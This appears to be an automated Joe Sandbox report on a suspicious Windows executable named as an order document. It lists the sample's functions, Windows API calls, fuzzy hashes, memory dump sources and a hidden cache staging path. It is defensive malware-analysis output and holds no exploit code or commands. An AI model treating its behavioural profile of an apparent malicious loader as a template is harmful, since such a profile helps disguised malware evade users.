Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 5f0451bdd463ed866e2305ac1dfee878cc5b4d333075ebda4e05e47d22d2a603
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 6BE0E672110109BEDF099F50DD0AD7B371DE704304F01452EFA06D5051E6B5AD305674

Function 00405E10 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403321,00000000,00000000,00403168,?,00000004,00000000,00000000,00000000), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 994fac52afecd872c6575aa209eb3fbbfd601c2a51b89c6ee9ed5d101180f43c
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 93E08C3220525AABCF109F51CC04EEB3B6CEB04360F000832FD98E2040D230EA219BE4

Function 00405E3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032D7,000000FF,0078B6D8,?,0078B6D8,?,?,00000004,00000000), ref: 00405E53

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 720248cc98aac2988b2abacb793a2dea5f933c74ab6652834825bf215bbdf934
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 72E08C3220025AABCF109F60DC00AEB3B6CFB007E0F048432F951E3040D230EA208FE4

Function 6FBB2997 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6FBB405C,00000004,00000040,6FBB404C), ref: 6FBB29B5

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3a569506332054c33c872a583647dc2365a8718dd5433b518966d85aa79ca311
Instruction ID: e24c0597f0b02fc966011f4e721cce376ed27326146548c649a8cedc49844f47
Opcode Fuzzy Hash: 3a569506332054c33c872a583647dc2365a8718dd5433b518966d85aa79ca311
Instruction Fuzzy Hash: D3F0A5B1508A80DECB50CF6AD4857153BF0F75A324B81492EE1A8D7240EB34506ACB11

Function 00406104 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,00406192,007A0F00,00000000,?,?,Call,?), ref: 00406128

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 68c61e8d1810f1ea9cab55705828a401d3ebcdae1eadef42580152fd7570d6fd
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 4BD0123204020EBBDF11AE909D01FAB3B1DEB08350F014826FE06A80A2D776D530AB54

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction ID: c073ba0ee5163cb04706f99935c2f3c73a5a9b1a05bee32f9da8622fc5c815d0
Opcode Fuzzy Hash: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction Fuzzy Hash: 68D01272B04100D7DB50DBE4AF4899D73A4AB84369B348577E102F11D0DAB9D9515B29

Function 00403324 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,00000008,0000000A), ref: 00403332

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction ID: a51ecd0892fb275ea92473d319bbbc5ec4fc6164fb370921ec18ec876cc9dfbc
Opcode Fuzzy Hash: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction Fuzzy Hash: A6D05E73E142008BD750DBB8BA8945E73A8F781319320C83BE102F1191E97888524A2D

Function 6FBB121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FBB123B,?,6FBB12DF,00000019,6FBB11BE,-000000A0), ref: 6FBB1225

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7a0470cc284946e78806da87990b4c3406bd9c4a0b641835bcce2bbd463e028d
Instruction ID: aa3f291212b9ce625c86bec750f9829ff1c1b883540dad442c140fe4ff56b8a1
Opcode Fuzzy Hash: 7a0470cc284946e78806da87990b4c3406bd9c4a0b641835bcce2bbd463e028d
Instruction Fuzzy Hash: 48B00271A44900DFEE41DF65CD47F353654FB45715F844050F605D6145D974D8258635

Non-executed Functions

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,00000008), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(00000028,?,?,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,00000008), ref: 0040563C
ShowWindow.USER32(00000008), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 004046FF Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,Call), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,?,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

A, xrefs: 00404822
Call, xrefs: 00404860, 00404865, 00404870
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040484F

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$Call
API String ID: 2624150263-244158548
Opcode ID: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,?,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
